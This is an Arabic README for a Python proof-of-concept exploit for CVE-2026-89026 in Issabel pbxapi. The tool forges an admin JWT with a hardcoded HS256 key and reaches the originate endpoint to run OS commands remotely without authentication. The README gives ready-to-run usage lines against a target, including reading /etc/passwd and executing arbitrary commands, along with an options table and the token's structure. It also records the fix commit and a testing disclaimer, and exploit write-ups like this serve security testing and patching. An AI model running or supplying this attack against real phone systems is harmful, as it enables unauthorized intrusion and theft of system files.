
Python PoC يزوّر JWT HS256 مضمّنًا بشكل ثابت لاستغلال CVE-2026-89026 في Issabel pbxapi، مما يتيح تنفيذ أوامر نظام التشغيل عن بُعد دون مصادقة عبر نقطة النهاية originate.
إثبات مفهوم تنفيذ الأوامر عن بُعد (RCE) عبر JWT مُثبَّت في الكود في Issabel pbxapi
إطار عمل Issabel pbxapi — تزوير JWT بدون مصادقة (مفتاح HS256 مُثبَّت في الكود) ثم GET /pbxapi/manager/originate مع Application=System لتنفيذ أوامر نظام التشغيل بصلاحيات مستخدم Asterisk. تم إصلاح الثغرة في الالتزام b97dbaf (يُحمَّل المفتاح من /etc/issabel.conf). رصدت Shadowserver استغلالاً للثغرة اعتباراً من 2026-09-09.
للاستخدام في الاختبارات المصرَّح بها فقط. لا تشغّل هذا ضد أنظمة لا تملكها أو لا تملك إذناً باختبارها.
المتطلبات: Python 3، المكتبة القياسية فقط.
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --test --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --read /etc/passwd --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --cmd id --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u TARGET --test
| الخيار | ما يفعله |
|---|---|
-u / --url | عنوان URL الأساسي لـ Issabel (مطلوب). http:// أو https://. إذا كان اسم المضيف بدون بروتوكول، يُجرَّب HTTPS أولاً ثم HTTP. تحويلات http→https تحافظ على POST. تُعاد محاولة شهادات TLS السيئة دون التحقق؛ --insecure يتخطى التحقق من البداية (غالباً ما يستخدم Issabel شهادة موقَّعة ذاتياً) |
--test | بصمة /pbxapi وإثبات قبول JWT إداري مُزوَّر. لا originate / لا أمر |
--read PATH | تنفيذ cp PATH إلى جذر الويب عبر System، ثم GET للملف (هكذا ترى /etc/passwd) |
--cmd CMD | GET /pbxapi/manager/originate?application=System&data=CMD. لا يُعيد AMI المخرجات القياسية — استخدم --read لعرض ملف |
--channel | Originate لـ Channel (الافتراضي Local/s@default) |
--insecure | تخطي التحقق من TLS |
--timeout | مهلة HTTP بالثواني (الافتراضي 30) |
نقاط نهاية --test: GET /pbxapi/ بدون Authorization (المتوقع 403)، ثم نفس عنوان URL مع Authorization: Bearer <forged JWT>. استجابة 200 بصيغة JSON تُدرج controllers / manager (أو JSON اتصال AMI بعد المصادقة) تعني VULNERABLE. لا يستدعي originate.
المصادقة: لا توجد للمهاجم. الـ API يعتقد أن لديه مصادقة Bearer JWT. قبل الإصلاح، يضبط pbxapi/index.php قيمة JWT_KEY إلى سلسلة مُضمَّنة في كل تثبيت. يوقّع PoC بـ HS256 على {iat, exp, data.name=admin} بذلك المفتاح. بعد الإصلاح، يصبح المفتاح base64_decode(pbxapijwtsecret) من /etc/issabel.conf ويُرفض الرمز الافتراضي (NOT_VULNERABLE).
المخرجات القياسية: PBXAPI، VULNERABLE، NOT_VULNERABLE، NOT_FOUND، HANDLER، HTTP.

CVE: CVE-2026-89026. الفضل: Shadowserver Foundation / VulnCheck. الإصلاح: b97dbaf.